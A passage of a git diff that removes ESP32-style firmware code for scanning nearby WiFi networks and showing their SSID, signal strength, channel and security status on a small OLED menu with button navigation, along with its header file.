-    int n = WiFi.scanNetworks();
-
-    networkCount = min(n, MAX_NETWORKS);
-
-    for (int i = 0; i < networkCount; i++)
-    {
-        networks[i].ssid = WiFi.SSID(i);
-        networks[i].rssi = WiFi.RSSI(i);
-        networks[i].channel = WiFi.channel(i);
-        networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
-    }
-
-    selectedIndex = 0;
-}
-
-// ===== DRAW =====
-void wifi_scan_draw()
-{
-    u8g2.clearBuffer();
-
-    if (networkCount == 0)
-    {
-        u8g2.drawStr(0, 30, "No networks");
-        u8g2.drawStr(0, 45, "Press BACK");
-    }
-    else
-    {
-        char counter[20];
-        sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
-        u8g2.setFont(u8g2_font_5x8_tr);
-        u8g2.drawStr(0, 8, counter);
-
-        u8g2.setFont(u8g2_font_6x10_tr);
-
-        for (int i = 0; i < 3; i++)
-        {
-            int idx = selectedIndex + i;
-            if (idx >= networkCount) break;
-
-            int y = 22 + i * 14;
-
-            if (i == 0)
-            {
-                u8g2.drawBox(0, y - 10, 128, 12);
-                u8g2.setDrawColor(0);
-            }
-
-            String text = networks[idx].ssid;
-            if (text.length() > 10)
-                text = text.substring(0, 10) + "..";
-
-            text += " (" + String(networks[idx].rssi) + ")";
-
-            u8g2.drawStr(2, y, text.c_str());
-
-            if (i == 0)
-                u8g2.setDrawColor(1);
-        }
-    }
-
-    u8g2.sendBuffer();
-}
-
-// ===== DETAILS =====
-void wifi_drawDetails()
-{
-    if (networkCount == 0) return;
-
-    WiFiNet &net = networks[selectedIndex];
-
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_5x8_tr);
-
-    u8g2.drawStr(0, 10, net.ssid.c_str());
-
-    char rssi[20];
-    sprintf(rssi, "RSSI: %d", net.rssi);
-    u8g2.drawStr(0, 20, rssi);
-
-    char ch[20];
-    sprintf(ch, "CH: %d", net.channel);
-    u8g2.drawStr(0, 30, ch);
-
-    u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
-
-    u8g2.sendBuffer();
-}
-
-// ===== LOOP =====
-void wifi_scan_loop()
-{
-    static uint32_t lastPress = 0;
-
-    if (millis() - lastPress < 150)
-        return;
-
-    if (btnDown() && selectedIndex < networkCount - 1)
-    {
-        selectedIndex++;
-        wifi_scan_draw();
-        lastPress = millis();
-    }
-    else if (btnUp() && selectedIndex > 0)
-    {
-        selectedIndex--;
-        wifi_scan_draw();
-        lastPress = millis();
-    }
-    else if (btnSelect() && networkCount > 0)
-    {
-        wifi_drawDetails();
-        delay(3000);
-        wifi_scan_draw();
-        lastPress = millis();
-    }
-//    else if (btnBack())
-//    {
-//        wifi_scan_start();
-//        wifi_scan_draw();
-//        lastPress = millis();
-//    }
-}
diff --git a/firmware/wifi_scan.h b/firmware/wifi_scan.h
deleted file mode 100644
index 902054e..0000000
--- a/firmware/wifi_scan.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#pragma once
-
-void wifi_scan_start();
-void wifi_scan_loop();
-void wifi_scan_draw();